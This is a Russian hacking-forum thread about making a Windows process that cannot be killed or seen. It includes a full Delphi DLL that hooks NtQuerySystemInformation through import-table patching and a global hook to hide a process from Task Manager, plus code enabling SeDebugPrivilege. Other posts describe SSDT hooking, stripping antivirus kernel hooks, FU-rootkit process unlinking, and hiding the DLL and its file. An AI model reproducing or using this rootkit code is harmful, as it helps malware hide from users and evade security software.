Как создать неубиваемый процесс

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by EST a1ien, 13 Nov 2006.

  1. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Народ подскажите как создать неубиваемый процесс? Если я не ошибаюсь то делается это при помощт функции CreateProcess только какие параметры ей надо передать для того чтобы его нельзя было убить из диспетчера задач.

    И сразу вопрос в догонку. Если я создам такой процесс смогу ли я получить доступ к нему из той программы при помощи которой я его запустил с помощью функций ReadProcessMemory/WriteProcessMemory ?

    ps: Код желатьльно на Delphi
     
    #1 EST a1ien, 13 Nov 2006
    Last edited: 13 Nov 2006
  2. AHTOLLlKA

    AHTOLLlKA Member

    Joined:
    1 Feb 2005
    Messages:
    225
    Likes Received:
    35
    Reputations:
    22
    чето мне кажеца ты чувак гонишь)))
    может просто создать скрытый процес, и не так палева и не че завершать то будет))
    вот пример из статьи мс-рема
    http://wasm.ru/pub/21/files/ring0.rar
     
    1 person likes this.
  3. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
     
    1 person likes this.
  4. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Ты хоть понял что та прога делает а?
    если нет то ненадо блистять гениальностью!!!
    Могбы ставить минусы влепил бы ейбогу.

    Если чесно тоя это прочитал почти сразу после того как запостил сообщение только для меня осталось непонятным как это работает а точнеевот эта часть почему так

     
    #4 EST a1ien, 13 Nov 2006
    Last edited: 13 Nov 2006
  5. Brun

    Brun Elder - Старейшина

    Joined:
    21 Mar 2006
    Messages:
    95
    Likes Received:
    57
    Reputations:
    16
    Листинг hide.dpr
    Code:
    library hide;
    
    uses
     Windows,
     SysUtils,
     ImageHlp,
     TlHelp32;
    
    type SYSTEM_INFORMATION_CLASS = (
     SystemBasicInformation,
     SystemProcessorInformation,
     SystemPerformanceInformation,
     SystemTimeOfDayInformation,
     SystemNotImplemented1,
     SystemProcessesAndThreadsInformation,
     SystemCallCounts,
     SystemConfigurationInformation,
     SystemProcessorTimes,
     SystemGlobalFlag,
     SystemNotImplemented2,
     SystemModuleInformation,
     SystemLockInformation,
     SystemNotImplemented3,
     SystemNotImplemented4,
     SystemNotImplemented5,
     SystemHandleInformation,
     SystemObjectInformation,
     SystemPagefileInformation,
     SystemInstructionEmulationCounts,
     SystemInvalidInfoClass1,
     SystemCacheInformation,
     SystemPoolTagInformation,
     SystemProcessorStatistics,
     SystemDpcInformation,
     SystemNotImplemented6,
     SystemLoadImage,
     SystemUnloadImage,
     SystemTimeAdjustment,
     SystemNotImplemented7,
     SystemNotImplemented8,
     SystemNotImplemented9,
     SystemCrashDumpInformation,
     SystemExceptionInformation,
     SystemCrashDumpStateInformation,
     SystemKernelDebuggerInformation,
     SystemContextSwitchInformation,
     SystemRegistryQuotaInformation,
     SystemLoadAndCallImage,
     SystemPrioritySeparation,
     SystemNotImplemented10,
     SystemNotImplemented11,
     SystemInvalidInfoClass2,
     SystemInvalidInfoClass3,
     SystemTimeZoneInformation,
     SystemLookasideInformation,
     SystemSetTimeSlipEvent,
     SystemCreateSession,
     SystemDeleteSession,
     SystemInvalidInfoClass4,
     SystemRangeStartInformation,
     SystemVerifierInformation,
     SystemAddVerifier,
     SystemSessionProcessesInformation
    );
    
    _IMAGE_IMPORT_DESCRIPTOR = packed record
      case Integer of
       0:(
        Characteristics: DWORD);
       1:(
        OriginalFirstThunk:DWORD;
        TimeDateStamp:DWORD;
        ForwarderChain: DWORD;
        Name: DWORD;
        FirstThunk: DWORD);
       end;
    IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
    PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;
    
    PFARPROC=^FARPROC;
    
    procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
    var     ulSize: ULONG;
       pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
        pszModName: PChar;
            pThunk: PDWORD; ppfn:PFARPROC;
            ffound: LongBool;
           written: DWORD;
    begin
     pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
      if pImportDesc = nil then exit;
      while pImportDesc.Name<>0 do
       begin
        pszModName := PChar(hmodCaller + pImportDesc.Name);
         if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
        Inc(pImportDesc);
       end;
      if (pImportDesc.Name = 0) then exit;
     pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
      while pThunk^<>0 do
       begin
        ppfn := PFARPROC(pThunk);
        fFound := (ppfn^ = pfnCurrent);
         if (fFound) then
          begin
           VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
           WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
           exit;
          end;
        Inc(pThunk);
       end;
    end;
    
    var
     addr_NtQuerySystemInformation: Pointer;
     mypid: DWORD;
     fname: PCHAR;
     mapaddr: PDWORD;
     hideOnlyTaskMan: PBOOL;
    
    function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
     SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
    label onceagain, getnextpidstruct, quit, fillzero;
    asm
     push ReturnLength
     push SystemInformationLength
     push SystemInformation
     push dword ptr SystemInformationClass
     call dword ptr [addr_NtQuerySystemInformation]
     or eax,eax
     jl quit
     cmp SystemInformationClass, SystemProcessesAndThreadsInformation
     jne quit
    
     onceagain:
     mov esi, SystemInformation
    
     getnextpidstruct:
     mov ebx, esi
     cmp dword ptr [esi],0
     je quit
     add esi, [esi]
     mov ecx, [esi+44h]
     cmp ecx, mypid
     jne getnextpidstruct
     mov edx, [esi]
     test edx, edx
     je fillzero
     add [ebx], edx
     jmp onceagain
    
     fillzero:
     and [ebx], edx
     jmp onceagain
    
     quit:
     mov Result, eax
    end
    
    procedure InterceptFunctions;
    var hSnapShot: THandle;
             me32: MODULEENTRY32;
    begin
     addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
     hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
      if hSnapshot=INVALID_HANDLE_VALUE then exit;
       try
        ZeroMemory(@me32,sizeof(MODULEENTRY32));
        me32.dwSize:=sizeof(MODULEENTRY32);
        Module32First(hSnapShot,me32);
         repeat
          ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
         until not Module32Next(hSnapShot,me32);
       finally
        CloseHandle(hSnapShot);
       end;
    end;
    
    procedure UninterceptFunctions;
    var hSnapShot: THandle;
             me32: MODULEENTRY32;
    begin
     addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
     hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
      if hSnapshot=INVALID_HANDLE_VALUE then exit;
      try
       ZeroMemory(@me32,sizeof(MODULEENTRY32));
       me32.dwSize:=sizeof(MODULEENTRY32);
       Module32First(hSnapShot,me32);
        repeat
         ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
        until not Module32Next(hSnapShot,me32);
      finally
       CloseHandle(hSnapShot);
      end;
    end;
    
    
    var HookHandle: THandle;
    
    function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
    begin
     Result:=0;
    end;
    
    procedure InstallHook; stdcall;
    begin
     HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
    end;
    
    var hFirstMapHandle:THandle;
    
    function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
    var addrMap: PDWORD;
           ptr2: PBOOL;
    begin
     mypid:=0;
     result:=false;
     hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
      if hFirstMapHandle=0 then exit;
     addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
      if addrMap=nil then
       begin
        CloseHandle(hFirstMapHandle);
        exit;
       end;
     addrMap^:=pid;
     ptr2:=PBOOL(DWORD(addrMap)+4);
     ptr2^:=HideOnlyFromTaskManager;
     UnmapViewOfFile(addrMap);
     InstallHook;
     result:=true;
    end;
    
    exports
     HideProcess;
    
    var
     hmap: THandle;
    
    procedure LibraryProc(Reason: Integer);
    begin
     if Reason = DLL_PROCESS_DETACH then
      if mypid > 0 then
       UninterceptFunctions()
     else
      CloseHandle(hFirstMapHandle);
    end;
    
    begin
     hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
      if hmap=0 then exit;
      try
       mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
        if mapaddr=nil then exit;
       mypid:=mapaddr^;
       hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
        if hideOnlyTaskMan^ then
         begin
          fname:=allocMem(MAX_PATH+1);
          GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
           if not (ExtractFileName(fname)='taskmgr.exe') then exit;
         end;
       InterceptFunctions;
      finally
       UnmapViewOfFile(mapaddr);
       CloseHandle(Hmap);
       DLLProc:=@LibraryProc;
      end;
    end.

    Прописываем
    Code:
    implementation
    function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'hide.dll';
    Прописываем в ОнШов например :
    Code:
    HideProcess(GetCurrentProcessId, false);
    Жмём Alt+Ctrl+Del, а нас там нет :)
     
    1 person likes this.
  6. AHTOLLlKA

    AHTOLLlKA Member

    Joined:
    1 Feb 2005
    Messages:
    225
    Likes Received:
    35
    Reputations:
    22
    ты сам видать не смотрел пример....
    а насчет минусов, умный.. хех, лепи если сумеешь, мне фиалетово
     
    1 person likes this.
  7. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Можно перехватывать функции для работы с процесами (желательно на уровне ядра) и никому не давать себя убить. Так, например, делает Касперский.
    Про перехват функций в ring0 стоит прочитать на wasm'е
     
  8. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Давайте вобще свой антивирь напишим чё мелочится а?
    Из-за того чтобы сделать просто неубиваемые процес мы полезем в 0 кольцо(верх гениальности)

    Ладно с процесом коекак разобрались хотя неплохобы бало сделать чтото типа
    _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
    Только хотелось бы узнать как вобще эта штука работает?
    А что насчёт ReadProcessMemory/WriteProcessMemory ?
    Можно ли будет их использовать если сделать как вот сдесь _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes ?
    (Хотелось бы)
     
  9. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Если ты знаешь способ создать дейтсвительно неубиваемый процесс (способ описанный в статье _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes можно убить получив dubuge привелегии) из user mode поделись пожалуйста.
     
  10. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Для каждого объекта ОС создает дескриптор безопастности, по которому определяет права доступа к нему. Очевидно, что в данном примере создается пустой дескриптор, и владельцем объекта становится создатель
     
  11. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Дак а смогу ли я использовать
    ReadProcessMemory/WriteProcessMemory к так созданому процессу?
     
  12. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    Если ты не владелец его и у тебя нет debuge привелегий то скорее всего нет
    Получение debugePrivelege
    Code:
    function EnableDebugPrivilege(const Value: Boolean): Boolean;
    const
      SE_DEBUG_NAME = 'SeDebugPrivilege';
    var
      hToken: THandle;
      tp: TOKEN_PRIVILEGES;
      d: DWORD;
    begin
      Result := False;
      if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken) then
      begin
        tp.PrivilegeCount := 1;
        LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid);
        if Value then
          tp.Privileges[0].Attributes := $00000002
        else
          tp.Privileges[0].Attributes := $80000000;
        AdjustTokenPrivileges(hToken, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d);
        if GetLastError = ERROR_SUCCESS then
        begin
          Result := True;
        end;
        CloseHandle(hToken);
      end;
    end;
    Разнеснения по поводу работы функции:
    Функция включает/выключает SeDebugPrivilege. Зачем эти привилегии нужны? На досуге попробуй записать что-нибудь в память системных процессов, например, в lsass.exe, без таких привилегий ты ничего сделать не сможешь.
    Насчет самой функции:
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken) - получаем токен нашего процесса.
    LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid); - Получаем LUID привилегии
    AdjustTokenPrivileges(hToken, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d); - добавляем (точнее включаем) привилегию к нашему процессу
     
    #12 TaNkist, 13 Nov 2006
    Last edited: 13 Nov 2006
    1 person likes this.
  13. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    А как можно как нибудь создать неубиваемый процесс и использовать ReadProcessMemory/WriteProcessMemory только из того приложения которое его запустило.
    То есть надо создать прогу которая запускает приложение меняет пару байт в запущеной проге и потом запрещает любое изменение запущенного приложения?
     
  14. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    2EST a1ien: ядерное программирование как раз и есть верх гениальности.

    если ты хочешь чтобы процесс нельзя было убить - блокируешь доступ например к OpenProcess путем перехвата native api NtOpenProcess. Т.о. пропадет возможность открыть дескриптор процесса по которому его можно грохнуть. Перехват осуществляется простой подменой адресов ф-ий в SDT, доступ к которой имеет любой драйвер импортирующий KeServiceDescriptorTable.

    Но... все это говно. Хуки с ядра можно снять даже из юзермода :) сам работал над этой вещью, назвал бетатеразином. Например после отработки начальной фазы кода, которая снимает все перехваты, мгновенно падает вся проактивная защита от касперского 6... ибо основана она на руткит-технологиях перехвата... которые уже стары как мир

    выход есть. например полное скрытие процесса. мне вот нравится метод разрыва 2сторонних описателей процессов. можно заценить в исходниках FU rootkit
     
    1 person likes this.
  15. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Да блин мне ненадо настолько глубако закапыватся мне надо просто чтобы пользователь немог убить процесс запущенный мной из моей проги и всё!!!
    Только вот этот http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
    Пример почемуто неработает он компилится запускает блокнот только я всёравно могу его убить из диспетчера задач на вкладке процесы!!!!
     
  16. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    хм.. прикольно но пашет
    назови свою прогу именем одним из неубиваемых процессов... (winlogon к примеру)
    увидешь эффект :D
     
  17. EST a1ien

    EST a1ien Elder - Старейшина

    Joined:
    2 Apr 2006
    Messages:
    249
    Likes Received:
    48
    Reputations:
    16
    Неа это бред ты просто назови любой exe'шник именем системного процеса запусти его и ты его несможеш убить:)
     
  18. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    EST a1ien
    если серьезно то что тебе нужно это:
    1. Использовать dll-ку с wasm'a
    1.1. "пихаешь" ее в res.
    1.2. при запуску распаковываешь
    1.3. тут уже LoadLibrary, GetProcAddress, FreeLibrary
    2. я писал что-то на подобие статьи вот: http://www.forum.antichat.ru/thread24230.html ... так вот в процессах спрятали... а если хотим скрыть сам файл? (чтобы в проводнике не видно было?) делаем как сказанно... к нашему файлу SetAtribytes(OurFile,faAnyFile)